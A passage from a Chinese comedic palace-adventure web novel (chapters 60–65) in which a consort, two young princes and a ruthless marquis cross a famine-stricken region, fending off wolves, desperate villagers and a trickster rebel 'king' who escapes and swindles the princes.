他早就听不下去了,跳下了马车。 “孤看谁敢在孤面前杀百姓?” “都给孤住手,把粮食都给他们,到了前面的州县我们可以再买。” 听到太子发话,千户半收了刀。 以后不能再跟着定国侯出来干差事了,太残暴了,这要是真杀了,晚节不保,可能还祸害后代。 他家往上数个四五代,都是轩辕的军中小将,熬过了郑老将军造反,可不能再出意外了。 千户想到这里就想打道回府,这次又要去见老将军吗? 末了他在心里赶紧纠正着:‘什么老将军?那是反贼。’ 赵小高骑在马上,看着摇头晃脑的千户,“你愣着干什么?我让你停了?” 千户插到一半的刀停了下来,他看看赵小高又看看夜亦天。 “锃。”他把刀又拔了出来。 此时夜亦天刚好来到他面前,“你干什么?” 千户举着刀,“太子殿下,我们奉命听定国侯差遣。” “杀!!!” 他声势大雨点小,嘴里喊的起劲,也不见他胯下战马往前一寸。 反正他不想杀。 不料,他的兄弟们也不想杀,大家都在等他先动手。 千户往后看了一眼,简直没眼看,都是废物。 赵小高正想一脚踹在千户的马屁股上。 夜亦天动作麻利,跑过去抱住了他的腿。 “等等。” “侯爷” 夜亦德和沈安安的声音同时传来。 护京军自发的让到两边,给一大一小让出了一条路。 夜亦德冲赵小高说道:“既要粮食,就给他们吧,横竖我们又不缺。 一路上有北燕的商队商铺,随时都可以补给,回京后皇叔知道了一定会夸你的。” 赵小高忽地想起了夜不群同他说过的话。 他掉转了马头,不打算管这事儿了。 沈安安摸着夜亦德的脑袋,他是懂拿捏定国侯的。 人无知,就会作死,就会做一些自认为很聪明但十分愚蠢的事儿。 譬如这些百姓,拿了粮食还不满足,个个又举起手中农具,威胁着让他们把马匹和银子也都留下。 甚至更大胆了起来,开始动手动脚。 见护京军也不拔刀伤害他们,更来劲了,这不,有个不怕死的专挑赵小高去了。 他拿着榔头,拽着赵小高的衣角,“下来,我要把马牵走。 喂,跟你说话呢,信不信我捶你?” 也难得赵小高仍是忍着。 “duang”一声,他跳起来用榔头砸在了赵小高脑袋上。 沈安安:“……” 不是,他怎么敢的? 夜亦德:“母母母妃……” 夜亦天:“混账东西,还不快跑?” 就见赵小高仰天一声笑,一扯袍子,双手松开马缰绳,“名声这种东西,我打小没有。 现在不动手的,活不到回京,杀。” 护京军闻言,这下夜亦德的话也不好使了,纷纷再次拔刀。 有识趣的见他们要动真格了,丢掉农具抱着粮食就跑。 但也有自命不凡的,当场殒命。 沈安安也没办法,只得左右胳膊各夹一个小孩儿,往马车去。 夜亦德看着这些自命不凡,倒地不起的百姓们,问着沈安安:“母妃,这就是传说中的刁民吗?” 沈安安咂巴了下嘴,“怎么说呢?可能算吧?” 夜亦天恨铁不成钢道:“愚不可及,烂泥扶不上墙,自作孽不可活……” 夜亦德吹着彩虹屁,“还是皇兄饱腹经纶,学富五车。” 夜亦天:“哼。” 他钻进了马车。 沈安安摸了摸夜亦德的脸颊,“拍马屁你也得分时候,这下好了,拍到马蹄上了吧?” 夜亦德一脸无辜且认真道:“可是母妃,皇兄真的很有学问哎。” 沈安安也“啧”了声,“你也没救了。” 把他塞进了马车里。 第61章下锅狼 马队继续往前走,徒留路边的十几具尸体,孤零零的迎接冬日的黑夜。 月亮和星星爬满了夜空,已是亥初时分。 天突降雨夹雪,今晚是赶不到前面县城了,好在这附近有处破庙,大家一致决定在这里先凑合一晚。 有饥荒的地方,就有狼。 此时‘嗷呜嗷呜’嚎叫个不停,肯定是闻见人味儿了。 “孤不去。”夜亦天缩在马车里,看着百米远的破庙,倔强道。 “孤不歇在这里,继续赶路。” 然而,马车旁也就只有沈安安和夜亦德守着他。 护京军早就跟着赵小高,进到破庙搭锅做饭了。 沈安安掀开帘子催促着:“赶紧的吧你,没看见那几只越来越近了。” “你不走我们走了?我可跟你说,狼群真要围上来,定国侯可不会救你,你走不走?” 又是“嗷呜”几声。 马车不远处的田埂上,七八匹狼绿油油的眼睛直直望着他们。 沈安安刚挪动步子,狼群也挪动步子,好似就等着沈安安走了下手。 夜亦天只觉得渗人,那狼饿坏了,哈喇子流的满嘴都是,拖在地上长长一条,又恶心又恐怖。 就在犹豫的间隙,这些狼又往马车的方向移动了几米。 沈安安一把将夜亦天从车窗里拎出来,扛在肩上就往破庙跑。 果不其然,一直伺机而动的狼,夹着尾巴朝着他们追来 赵小高站在破庙门口,不咸不淡的说着:“娘娘跑慢点,把这群畜生都引上来。 我好就地取材,给两位殿下做大餐。” 沈安安脚底生风,饿疯了的畜生比人还危险,而且狼擅群攻。 可是奇了怪了,瞧这样子,也不见狼王。 狼王呢? 夜亦德抬起一只手,指着右边:“母妃,你看,有人跟我们一样在逃命。” 沈安安可顾不上。 就听赵小高又冲另外的人道:“跑慢点,狼要追不上了。” 沈安安扭头一看,就见右手边两个十来岁的男童,衣衫褴褛的拼命在跑。 空气里弥漫着血腥味,是这俩孩子身上的。 沈安安同他们眼神对上的一瞬间,从他们眼中看出了兴奋。 这是个什么情况?要当狼食了还这么高兴? 沈安安一跃,吃力的使用轻功跨上了高坎,再一步跳进了破庙。 她身后那两孩子,也奋力朝破庙跑。 十几米开外的地方,眼瞅着他们要一步跨上来了,赵小高拔出腰间的佩刀。 “锃”一声扔出。 只差一寸,就把其中一个男童给削成两半了。 而就在此时,追沈安安的那七八匹狼和追两男童的一群狼汇合,将他们前后左右围住。 他们脸上终于出现了惊慌,赤手空拳开始和狼群打斗。 下一瞬,赵小高出其不意的一跃而下。 狼群来不及四下逃窜,他一招制服了狼王,生生将皮剥了下来。 火铳杀会破坏了皮毛,还怎么给大贤当礼物? 不多时,他手上拎着好几张狼皮,进了破庙。 那两孩子也跟在他身后。 赵小高冷冷道:“跟来也好,杀了。” 沈安安坐在火堆旁,闻言默不作声。 他们全身是血,但没半点伤口,很明显,是为了引狼。 若是换成普通商队,早已落入狼口了。 狼群不敢跨上那个高坎,正是因为感受到了赵小高的戾气。 杀孽太重的人,煞气也重,动物的感受比人更灵敏。 夜亦天站了出来,“定国侯,他们还只是孩子,难道被狼追也有错吗?” 沈安安抬手搂在他的腰上,要拉着他坐下来,“你这性子能不能改改? 侯爷这么做肯定有他的道理,你别管。” “哼。”夜亦天冷哼一声。 就见他冲着两男童大言不惭道:“你们别害怕,孤乃当朝太子,孤来保护你们。” 赵小高都笑了,吩咐着护京军,“烧水的赶紧了,一会儿狼肉都不新鲜了。” 沈安安继续苦口婆心,“你看他俩听见死害怕吗?这俩娃不正常,你别管了。” 夜亦天甩开了她的手,大步流星的朝着两男童走去。 他刚一靠近,人家就从裤腰带里拔出了两把匕首,一个抵在他的腰上,一个架在他的脖子上,作势就要开捅。 “你……你你你们……” “咔。”一声,一左一右没了。 赵小高像丢垃圾一样将他们丢出了庙门。 沈安安将呆若木鸡的夜亦天牵回了身边,“叫你不要多管闲事,长记性了没?” 夜亦德光顾着狼肉了,全然不知刚才发生的事情,从腰间的锦囊里拿出盐巴,“别光顾着煮,切一小块,再给我烤一下。 撒上盐巴,要烤的滋啦滋啦冒油,哦不,三块,快切哎。” 沈安安拎着直勾勾看狼肉的夜亦德领子,“吃吃吃,你就知道吃,你皇兄刚刚都差点噶了。” “啊?皇兄快饿噶了吗?那还不快点。”夜亦德答非所问,继续催着一旁的护京军。 沈安安叹息了声,看来下次不能再当大善人了,看把孩子饿成了啥样儿? 沈安安心中另有所思,她是越来越看不懂赵小高了。 按理说,刚才他该视而不见,可他偏偏出手相救,他到底要干嘛? 一会儿又要他们死,一会儿又要他们活,这要死不活的真难受,搞得她连觉都睡不好。 就夜亦德没心没肺,他看着赵小高在捣鼓几张狼皮。 他又看了看沈安安。 问着赵小高:“白色的那张能送给我吗定国侯?” 赵小高头都懒得抬,拒绝着:“不行。” 夜亦德瞪大眼睛又问:“为什么不行?” 赵小高不理他。 他干脆起身跑到赵小高跟前儿去,喋喋不休的追问:“为什么不行?为什么?为什么呀定国侯? 你有那么多,为什么送一张不行?你有夫人了吗?你要给你夫人做围脖吗?你夫人喜欢白色吗?……” 赵小高忍无可忍,“你拿去吧。” 夜亦德拿了那张白色的,还喜欢那张纯灰色的。 白色的给母妃做围脖,灰色的给母妃做毯子。 就这样,他抱着两张狼皮,回到了沈安安身旁。 滂臭的血腥味传来,沈安安捏着鼻子,“你又干嘛?你要这玩意儿干啥?” 夜亦德却如视珍宝,“我要挂在马车上把它晒干,白色的给母妃你做围脖,灰色的给你盖腿。” 听的沈安安心里是一阵乐呵呵。 她也不嫌臭了,把夜亦德搂进怀里,“好吧好吧,好像也不是很臭哎。” 夜亦天不知从哪儿掏出的书,正借着火光看着。 他瞥了一眼沈安安,哼,女人就是肤浅,继续安心看书了。 第62章 反贼来了 这一通忙活,大家吃上一口热狼肉的时候,已经是亥正两刻了。 饶是加盐巴烤了的狼肉,也是又腥又柴。 夜亦天和沈安安拿着看了半天,就是喂不进嘴里去。 反观夜亦德和赵小高,却是臭味相投,吃的津津有味。 两人嫌烤的不够味儿,直接拿起煮的开啃。 沈安安看着他们,这明明很臭啊,怎么吃的那么香? 是她的嗅觉出了问题吗? 她不信邪的浅尝了一口,当即就吐了出来,真是要多难吃有多难吃。 夜亦德抬眸问着她:“不好吃吗?” 话音落地,庙外传来一声“哞~~” 吃肉的不吃肉的都顿住了。 这不是在闹饥荒吗?怎么还有牛? 下一瞬,他们更加懵逼了。 就见一群男男女女,穿着不合身的官服兵服,衣服穿的是歪七扭八。 前面为首那人,“咚”一声将手中木杆做的旗帜怼到地上。 一副不知天高地厚的模样,神气的说道:“我乃启西国大王的左右大丞相,我们大王要见你们,速速跟我去见大王。 外面有上千大军,你们可别自己找死,跟我走。” 护京军闻言,纷纷站了起来,已进入战斗状态。 可赵小高迟迟没下达命令,而且一看这些乌合之众,都是些没有战斗力的山野村民,便也没有轻举妄动。 赵小高缓缓站起身,启西有反贼,地网竟然一点儿消息都没有。 罢了,立功。 于是乎,他丢掉手里的狼肉,问着开口这人,“就你们这些吗?还是还有?” 沈安安看的是目瞪口呆加好笑,这启西的百姓们都是饿傻了吗? 连一贯心疼百姓的夜亦天,都觉得没眼看。 夜亦德看着面前一群扛着锄头木棒的“大军。”嘿嘿的笑出了声。 他问着沈安安:“母妃,你是要做这种山大王吗?” 沈安安“啧”了声,“你别瞎说。” “大胆蠢童,就你们也敢做大王?小心……” “好了好了。”赵小高打断了他的话,“带路吧。” 这左右大丞相一转身,那不合身的小兵衣裳甩了赵小高一脸。 赵小高脸上带着笑,轩辕都强成这样了,能铲除一波反贼,也算是奇功。 沈安安可不打算动,整天打打杀杀有辱斯文,这辈子她可是立志要做淑女的人。 赵小高却回头看向她,“你们不去吗?” 此等功劳,定要有人亲眼见证。 左右丞相被赵小高提了醒,停下步子怒斥:“都得去,一个都不能留。” 这次沈安安都笑了。 更好笑的是,左右丞相坐上了他们的马车,他们得走着。 一辈子没坐过马车的左右丞相,掀开帘子推开车窗,“嗯~我们启西国终于有自己的第一辆马车了。” “这是个非常好的开始。” 以往路过的商队都是牛车驴车,加上战乱,本就没有几个商队。 赵小高却是心情大好,竟破天荒的跟沈安安聊起了天,“你说他们有多少人?一万?两万?” 沈安安边走边观察着地形。 她让夜亦天和夜亦德跟在自己身后,抓着她的衣服。 能在枯黄一片里找出林子的人,应当是不大好对付的,而且这山势,极利于埋伏。 “我说定国侯,你可别老马失前蹄,玩了一辈子的鹰,这次被鹰啄了眼。”沈安安提醒着。 赵小高不以为然,“就他们?这所谓的左右大丞相?你是小看我?还是高看他们?” 沈安安点着头,“行吧,那侯爷先行。” 她还做了个请的手势。 赵小高就这么大摇大摆的,走在前面。 约莫半个时辰后,马车停了下来,马车里的人指着正前方,“我们大王就在前面,我带你们去。” 他从马车上下来,举着旗帜亲自带路。 跟着他继续往前走的人不多,和赵小高他们混在了一起,齐齐往前走去。 松柏林里,是一大片空地,方方正正的。 那个所谓的大王,就在另一头,摆着桌子,在大吃二喝。 沈安安定睛瞧了瞧空地,好似并无不妥。 而且赵小高和那个左右丞相都走在了上面,看他们的脚印,并没有下陷的太深。 一切看上去都正常,但直觉告诉她,就是不对劲。 难道是她真的高估了他们? 就在夜亦德问她为什么不跟上时,“轰隆”一声。 那片空地陡然出现了一条大裂缝,敌我不分的都掉了下去,惨叫声瞬间连天响。 下一瞬,飞舞的乱叶里,赵小高飞跃而出。 可等待他的,是一张从天而降的大网。 这所谓的大王啃着鸡腿,满嘴的油,无比自豪道:“看看我这计策,我这叫伤敌一千,自损八百。” “妙啊大王,可是还有个女的。”旁边人指着沈安安道。 大王朝着沈安安看去,哈喇子连鸡肉一起流了出来,“这是我的王妃。” “快快快,快去逮住,别让她跑了,那俩孩子就别要了,因为我们会有新的。”大王双手一挥,说道。 区区一张网,也想困住赵小高? 他手中握着锁链,将网一扯而破。 弹指间,就是几颗人头在空中飞舞。 他定定落在地上,森寒的声音压过了深坑里的惨叫。 而护京军也相继从里面爬了出来。 下面放了陷阱,死了不少人,便是活着的,也遍体鳞伤。 夜亦天看着一群刁民,“简直愚不可及。” 沈安安坐在一旁的大石头上,“不救啦?你救哎。” 夜亦德掏出狼肉继续啃着,乐呵呵的看着,“能把定国侯搞成这样,也不失为一个人才。” 赵小高哪儿会给这群乌合之众喘息的机会? 三两下就杀到了大王跟前,手捏他的脖子,“去死吧。” “等等。”大王抬起一只手。 “等什么?”赵小高顿住了要扭断他脖子的手。 也不等赵小高反应,他对着赵小高的脸“呼”一口。 威武霸气的定国侯竟然晕倒了。 沈安安都惊的从石头上站了起来,“这是什么手段?” 竟然连她都没看出端倪。 夜亦德道:“哦豁,本来他死了就算平息了,现在这里要遭殃了。” 深坑另一边,只留下一张椅子在桌子旁摇晃,那大王早已经逃之夭夭了。 沈安安抱着俩孩子,绕过深坑到了定国侯身边,一下就闻出来是蒙汗药。 这定国侯也是厉害,中了蒙汗药还能再站起来。 她问着夜亦德:“蒙汗药在嘴里是怎么藏的?他刚才不是还在吃鸡腿吗?他咋没倒?” 也不等夜亦德回答,赵小高倔强的撑着一口气站起来,从怀中掏出一枚信号弹,拉响。 “嘣”一声冲天响,烟火于高空绽放,是一张大的惊人的红色蛛网。 可谓是遮天蔽日,久久不散。 “砰”一声,定国侯直挺挺的拿着信号弹筒倒下去了。 沈安安瞥着地上的人,“这人是真倔啊。” 第63章王坡 不多时,陆陆续续开始有人赶来。 约摸三刻钟的时间,已有数百人将定国侯团团围住。 他们身着清一色的深蓝色窄袖衣裳,背上和腰间都缀着武器,胸前绣着明显的蛛网。 至于护京军,已经靠边站了。 赵小高没醒,周遭那些没来得及跑掉,或者胆子大要一决高下的,此时已经被来的这几百人擒拿住,跪在地上。 地网也不说话,就静静的守着赵小高。 沈安安和两小只同护京军坐在一旁。 护京军彼此在包扎伤口,对这些愚蠢的民众他们也是又气又恨。 沈安安左右手各搂着一个,给他们取暖,冬日的山间,格外冷,又是阴天,阵风吹来刮的人额头生疼。 “这些也是定国侯的地网吗?”沈安安问着。 夜亦天身子骨弱,冷的牙关打颤,半天都说不出一个字来。 夜亦德身体就强壮的多了,许是跟他吃了那么多的狼肉有关系,他从沈安安咯吱窝里钻出来,回着:“母妃,这是低级的地网,他们负责在各个州府为定国侯搜集需要的信息。” 沈安安睁着一双好看的大眼睛,扑闪着睫毛反问,“那启西有反贼定国侯咋不知道呢?他们秘而不报吗?还是他们平时好吃懒做压根不知道这事儿啊?” “额……”她这话把夜亦德也问懵了,“我也不知道啊母妃。” 一大两小远远看着。 有几个地网蹲下身来,给赵小高又是把脉又是扎针又是喂药的。 最让沈安安无语的是,他们居然还要架起火来熬药。 再这样耗下去,大家都陪着冷死在这里算了。 沈安安冲地网道:“不行就让我来吧。” 地网没理她。 沈安安拍着两小只的背,“你俩等等,我去看看到底怎么回事儿。” 说罢,她起身来到了赵小高跟前儿。 毕竟是个贵妃,地网也不敢拿她怎么样,尤其他们还只是低级地网。 沈安安瞥了一眼地上的人,“差不多了,你们让一让,我一下就让他醒了。” 她撸起袖子,胳膊抡圆了,另一只手一把抓住赵小高的肩膀,将人半拎起来,“啪”一巴掌。 巴掌声可谓是清脆。 地网全都懵逼。 夜亦天和夜亦德听见动静,双双站了起来。 神奇的是巴掌落,侯爷醒。 赵小高是刚醒的,准确来说是他刚醒的那一瞬间,沈安安扇了他一巴掌。 他怒的直呼其名:“沈安安。” 这一声,可谓是怒火中烧。 “大胆。”夜亦天第一个跳出来不乐意了,“侯爷莫不是蒙汗药喝懵了,沈安安这个名字也是你叫的?” 赵小高半张脸肿成了猪样,他冷哼一声,心道:‘这娘们儿不会是在公报私仇吧?’ 仇? 他忽地想到了刚才那个口气极臭的家伙。 其实也不是蒙汗药多厉害,而是实在太臭了,那一口气让赵小高等同让一张沾满了屎的嘴亲了一口,能不晕吗? 赵小高当即下令,“方圆十里,全给我抓来,一只老鼠都不能放过。 口臭者,不论男女,当场斩杀,提头来见。” 口令一落,全部地网刹那间消失在林子里。 沈安安四下看了看,低级都这么厉害? 赵小高可不会管受伤的护京军,下山直奔县衙。 等沈安安他们和护京军到的时候,事发镇子上的百姓,全都被抓了起来。 乌泱泱的跪了一片。 县令跪在地上不敢抬头,赵小高一脚踹在他的背上,“你这官当的好啊,启西王都出来了。” “冤枉啊侯爷,什么启西王?卑职实在是不知道啊。” “整日光顾着募集粮草了,这半年确实有一批匪人行凶作恶,但……但卑职不知道啊。” 县令语无伦次。 那批匪人早抢过衙门,但他不敢说啊。 至于为什么不上报?也是因为不敢。 朝廷早就放弃了启西,俸禄都减了一半,不说还能明哲保身,说了搞不好就要治个无能之罪了。 赵小高懒得听他这没头没尾的废话,又是一脚将人踹开。 他坐在椅子上,问着百姓:“说,谁是那个大王? 说了有赏,不说同罪并处。” 他的威压连狼都害怕,但偏偏这群百姓,好似傻的一样,一个个抬头呆愣的看着他,眼中一点儿害怕也没有。 赵小高也不废话,一个抬手示意,地网就开始拔刀杀人了。 沈安安眉头皱了皱,这不就是在滥杀无辜吗? 百姓中跪着不少的孩子,看赵小高这样,是宁杀错也不放过。 她从门槛上站了起来,她刚想说什么的时候,县衙外一个男子朗声道:“是找我吗?我在这儿,休要为难本大王的百姓。” 夜亦德闻声扭头看去,还真是那人。 他指着他道:“皇兄,他好像很好玩哎。” 夜亦天教育着夜亦德,“那是反贼。” 赵小高听见声音,刷一下从椅子上站起来,旁边的地网作势就要追出去。 赵小高冷声道:“都别动,让我来。” 这一次,他一定要亲手撕碎这嘴臭的狗贼。 自诩大王的王坡,还没等赵小高说话,他先开口:“你这奸臣,你这样做让本大王很愤怒。” 赵小高负手而立,步步逼近,“你愤怒又能如何?” “我愤怒,那你就要迎接我的愤怒。”王坡说完,背在身后的手举起来。 一只装满泔水的桶,泼向了赵小高。 “咚咚咚。”桶在地上转着圈儿,人又没了。 沈安安眨巴着眼睛,“不是,他怎么没的?” 夜亦德也揉着眼睛,“我没看明白啊母妃。” 夜亦天罕见的夸人,“实乃大才。” 地网都看傻眼了。 赵小高顶着满身的泔水,扭头怒斥着:“你们还愣着干什么?给我追。” 地网得了命令,一涌而出。 还没等地网行动,一阵笑声从空中传来,“哈哈哈。” “不用追了,本大王就在这里。” 声音是从房顶传来的。 恐怕连赵小高都没想到,戏弄了他的人还敢不跑吧。 沈安安朝着房顶的王坡竖了根大拇指,“干的漂亮。” 王坡看向她:“爱妃谬赞。” 夜亦德闻言,气愤的冲着王坡大喊:“大胆,我要来抓你了。” 沈安安抚着他的背,“冷静冷静。” 第64章寻人蜂 赵小高刚想施展轻功跳上去捉拿。 半蹲的身子,忽地又直了起来,命令着地网:“你们上,给我抓住这个屎壳郎。” 地网一拥而上。 王坡一点儿都不慌,他从腰间掏出一个布袋子,拿在手上摇晃着。 等地网靠近后,他往空中一丢。 十年狗屎磨成粉,洋洋洒洒,地网纷纷“砰砰”落地。 臭的赵小高连眼睛都睁不开了。 沈安安屏住呼吸,捂住两小只的口鼻,赶忙跑进了屋内。 看来这家伙对粪颇有研究。 这下是真的把赵小高惹怒了。 他从怀中掏出面具,扣在脸上。 沈安安看着他,“好好好,果然是你。” 夜亦德不解的问她:“是谁?” “哎呀,别管了,看戏吧。”沈安安摸着他的头道。 赵小高神龙见首不见尾,一跃而上,一把捏住了王坡的脖子,将人从房顶上拽了下来。 王坡屁股着地,疼的双手直摸屁股。 赵小高死死的掐住他,“跑啊,你怎么不跑了?” “大人,我错了。”王坡也是能屈能伸,当即就跪下来认错。 “捏死你太便宜了。”赵小高冷眸瞪了他一眼。 一抬手,将他甩给了地网,“扣起来,待本侯洗漱过后再来处置。” “是。”地网齐声应着。 鉴于王坡太能溜了,地网也不懈怠,用锁链将他捆了起来。 他像个蛆一样,蜷缩在地上。 地网刚才也着实是被臭到了,对他拳脚相向。 “叫你放屎,打死你个臭蛋。” “这么爱屎,你吃吧。” 王坡在一声声骂中求饶,“大爷,我错了。” 百姓们看王坡被打的很惨,纷纷都要上前来解救他。 但地网得了命令,格杀勿论,几刀下去,倒了几个,剩下的也不敢动了。 但他们敢给王坡申冤。 “大人,王坡是个好人,他给我们发过粮食。” “我儿子快病死的时候,是他帮我找的郎中,还给了抓药的钱。” “大人,王坡他没有做过伤天害理的事情。” 王坡确实截商队,但抢来的东西,他又的的确确养了百姓。 这也是为什么,半年之久,没人告发他的原因。 王坡顶着流鼻血的脸,“大人们,难道你们就没有被感动吗?” 沈安安扶着额头,这人有点东西,但不多。 她一低头,夜亦德不见了。 再一抬眸,就见他已经跑到了王坡面前。 刚蹲下来,又挪远了些,这家伙难不成是屎壳郎转世?真臭。 夜亦德捏着鼻子问着:“你叫王坡是吗?刚才你是怎么跑的?” 王坡反问他:“你想知道?” 夜亦德点了点头,一双眼睛里全都是好奇。 王坡抬了抬被捆着的双手,“那你帮我松开。” 夜亦德看向地网,“松开松开。” 一名地网道:“属下们不敢。” 此时沈安安也围了过来,别说,她也挺好奇的。 夜亦德又道:“这么多人看着他,他还能跑了不成? 松开松开,看看,看看。” 沈安安也道:“跑不了跑不了,有我在,看看看看。” 全场最理智冷静的只有夜亦天,他道:“你们两个不要节外生枝,让定国侯处理了赶紧出发赶路。” 可是没人理他。 地网也是猪油蒙了心,真听夜亦德的话解开了锁链。 王坡确实也没跑,他从腰带上解了根绳子,“看到没,绳子。” 沈安安和夜亦德连连点头,齐声道:“嗯嗯嗯,绳子,然后呢?” 王坡把绳子往上一扔,绳子像棍子一样,直直的立在空中。 “然后我往上爬。” 王坡说着,亲身演示。 一众人就这么看着他往上爬。 明明绳子不长的,他却爬了好高…… 直至绳子落地,大家这才惊觉,人没下来。 “人呢?”地网问夜亦德。 夜亦德问沈安安:“母妃,人呢?” 沈安安愣了愣,开口道:“下次抓住他再看一遍。” 她往衙门外看了一眼,“时候确实不早了哈,太子殿下,我们是不是该赶路了?” 说着她就要抱起两小只离开。 地网将他们拦住,“你们不能走,你们走了,我们怎么跟侯爷交代?” “交代什么?”赵小高阴冷的声音,响了起来。 地网自发的让开,好让侯爷看的明白一点儿,几个地网支支吾吾的说了事情经过。 “废物,本侯就知道。”赵小高瞥了一眼沈安安,眼神都像在骂人。 他从腰间拿出一个小竹筒,放出了一只寻人蜂。 刚才抓住王坡的时候,赵小高就在他身上抹了特制的花粉,寻人蜂可是陛下精心养育出来,专门给千人斩和天罗地网使用的。 天罗地网之所以叫天罗地网,正是因为一旦锁定目标,绝无逃脱的可能。 当然,这世间仅有一个例外,北燕郑皇后。 那是奇迹,唯一一个能在千人斩手里活命的人。 就见寻人蜂嗡嗡嗡,它倒也不飞远,就在衙门的牌匾处徘徊。 赵小高一记掌风,牌匾连人一起掉了下来。 王坡抱着生疼的肚子,“哎吆歪,怎么找到我的?” 寻人蜂又飞回了竹筒里。 沈安安看向王坡,“倒是小瞧你了,我说怎么刚才你的气息全无,原来你也会闭气功。” 一言惊醒梦中人。 “闭气功?”赵小高若有所思的看向了沈安安。 难怪上次她能从毒弹里逃脱,还毫发无损,原来是会闭气功。 赵小高视线再落在王坡身上时,眼神柔和了些许。 地网刚要举刀斩杀王坡,赵小高阻止道:“等等。” “拴起来,回京再处置。 还有,每日三次,给他漱口,什么时候嘴不臭了,再带来见我。” 说罢,他率先出了县衙,“出发。” 这一次,这几百名地网也同行了,他们代替了受伤的护京军的护卫之责。 沈安安和夜亦天夜亦德上了马车。 沈安安一只手支着脑袋,“言多必失啊,都怪我这张嘴。 今天是定国侯暴露了,但我也暴露了。 少了一张底牌,看来还是得找机会寻个保命的武器。” 就在她寻思的时候,夜亦德捏着一只布袋子伸到她面前来,“看,母妃,这算不算保命武器?” 虽然是用粗布袋子装着,但此时没什么味道。 撒开那就绝了。 夜亦天皱着眉,“你恶不恶心?你拿这玩意儿干什么?” 沈安安:“倒也算,先收起来。” 两小只后知后觉反应过来,看向她问着:“你和定国侯暴露了什么?” 第65章乐游集 马队不紧不慢的往青州赶。 马车上挂着两张狼皮,属实是有些臭,加之沈安安一直都要防着赵小高,几日下来,都显得精神萎靡了。 而赤脚被马拴着的王坡,草鞋早就磨破了,一双赤红的脚踩在地上,疼的他面目扭曲。 他跟在马车旁边,看着夜亦德吃的糕点流着哈喇子。 他被绑着的双手搭在车窗边缘,吧唧了几下嘴巴朝着夜亦德张开嘴,“小家伙,给我一口。” “大胆,叫殿下。”夜亦德扭头看着他,言之凿凿道。 “殿下,给我一口。”王坡立马改口。 坐在夜亦德对面的夜亦天充耳不闻,懒得理这俩傻子,自顾自的埋头看书。 沈安安被两张狼皮臭的头晕眼花,胃里不住的翻滚,全靠烧刀子压着要吐的本能。 她苦哈哈的瞥着夜亦德,“亦德啊,其实天儿马上也就热了,能不能……” 夜亦德跟王坡聊的正投机,压根没听见她说话。 “唉,趁着两小的精神抖擞,我先睡了。”沈安安蔫蔫的靠在垫子上,闭上了眼睛,睡着了就不难受了。 王坡手里凭空变出朵花儿来,“怎么样?能不能换一口吃的?” 夜亦德圆溜溜的眼睛睁的大大的,“你怎么做到的?” “啊。”王坡没有回应,他嘴巴张的大大的,对准了夜亦德。 小小的人儿果断投喂,一块桃花酥塞进了他嘴里。 王坡咂巴着嘴巴,舔着唇上的糕点屑,心道:‘我们启西过的这么惨,就是被你们这些贵族害的。’ 粮食都买不到的启西,像这样的糕点,只能去北燕商队买了。 因为高额的赋税,北燕商队的东西一般都不便宜,能吃得起这个的,不是一般人。 王坡意犹未尽的抿着嘴,“你是定国侯的儿子?” 夜亦德:“哼,他不过就是我家的奴才。” “喂,你到底教不教?” 王坡往夜亦德怀里瞅了一眼,银票的一角露在外面,“我有个宝袋,你让我上马车,我给你露一手。” 夜亦德看了一眼沈安安,“不行,你一个刁民不能上我母妃的马车。” “那我不进去,我就坐在驾车处。”王坡走的腿都快断了。 夜亦德看看沈安安,又看看夜亦天。 到底是没经住王坡的诱惑,让他坐了上来。 夜亦德掀开帘子,在王坡的指引下,从他腰间拿出了个布袋子,放到了他手里。 王坡朝夜亦德怀里努了努嘴,“你把银票放进来,我给你变个好玩的。” 夜亦德小手掏出唯一剩下的一张超级婉,放进了布袋子里。 就见王坡神乎其技的朝着里面吹了一口气,然后双手捏紧了袋子口,嘴里哼哼唧唧不知道在说啥。 不一会儿,王坡从袋子里抖出一个木质的小风车,做工很精细。 “这什么?”夜亦德拿在手上问着。 王坡道:“你伸出车窗,让它迎风看看。” 夜亦德照做,小风车迎风而动,四扇小扇叶吹动起来骨碌碌的转,颜色就像彩虹一样。 “哇!!!”夜亦德爱不释手,在驾车处玩了好一会儿,这才想起自己的银票。 半截身子缩了回来,把那只布袋子翻来覆去,“我银票呢?” 王坡悠悠开口,“等什么时候你玩腻了小风车,你把它还给我,你的银票就会回来。” 夜亦德“哦”了一声,回头去玩小风车了。 夜亦天瞥了他一眼,冷哼了声,“你是不是傻?” 这引起了王坡的注意。 他率先看见了夜亦天手中那本翻的皱了皮的书,“这位殿下,我也可以给你变一样你喜欢的东西。 包你喜欢的,不满意包退,只需要一张银票,我就捆在你面前,你还有什么不放心的?” 他把捆着的双手怼在了夜亦天面前。 他也不知道夜亦天什么身份,但能斥责夜亦德的,定也是皇子,还是个兄长。 虽然他们看上去年纪相符。 夜亦天抬眸看着他,小小的人儿声音冷冷道:“哼,孤倒要看看你给孤玩什么把戏。 要是孤不满意,就把你踢下去。” 王坡闻言,赶紧双手抱拳,“小人眼拙,竟没认出是太子爷,失敬失敬,小人真是该死。” “小人哪儿敢骗太子爷呀?就是您给我八百个胆子,我也不敢冒犯您啊。” 马屁有时候真香。 从来没被人拍须溜马过的夜亦天,这一刻显然很舒服,他放下了手中的书,“倒是个有眼力劲的。” 夜亦天掏出一张银票,打赏似的丢进了王坡手中的布袋子里。 王坡又是一番故技重施。 这一次,从袋子里抖落的是一本书,上书《乐游集》。 王坡捧在手上,款款的给夜亦天递上去。 夜亦天只瞥了一眼,作势就要站起来把王坡踹下马车,“孤从来不看无用之书,滚下去吧。” 王坡忙把书翻开,“我的太子爷,您好歹看一眼。” 这不看还好,一看就入了迷。 一路上王坡一边吃着糕点,一边喝着烧刀子,靠在驾车处好不自在,两条腿扔下去晃荡着。 这王公贵族都这么好骗吗?唉,不应该在启西的,应该老早就去京城的,搞不好都富甲一方了。 果然,富贵人家都有一个共通点:傻。 沈安安这一觉睡的可谓是久。 夜亦德将事情经过一一详说。 沈安安指着他的手里的风车:“所以?” 夜亦德点了点头,“嗯啊。” “死骗子。”沈安安挽起袖子,弯腰站了起来,一把掀开帘子。 “银票呢?”她一把揪住王坡的肩膀,摊开手要着。 王坡咽下一口,“母妃”这两字他刚才是听的清清楚楚。 “东西呢?说好的,还我东西才能还银票。”王坡一脸无辜道。 沈安安扭头冲两小只道:“还给他。” 夜亦德头摇的像拨浪鼓,夜亦天干脆充耳不闻。 “败家子啊这是。”沈安安无可奈何道。 “哎呀,娘娘莫生气,我送您一样,这长路漫漫,总要有个解闷儿的。”王坡看向沈安安的眼神,再也不似之前那样轻佻冒犯,而是恭敬礼貌的。 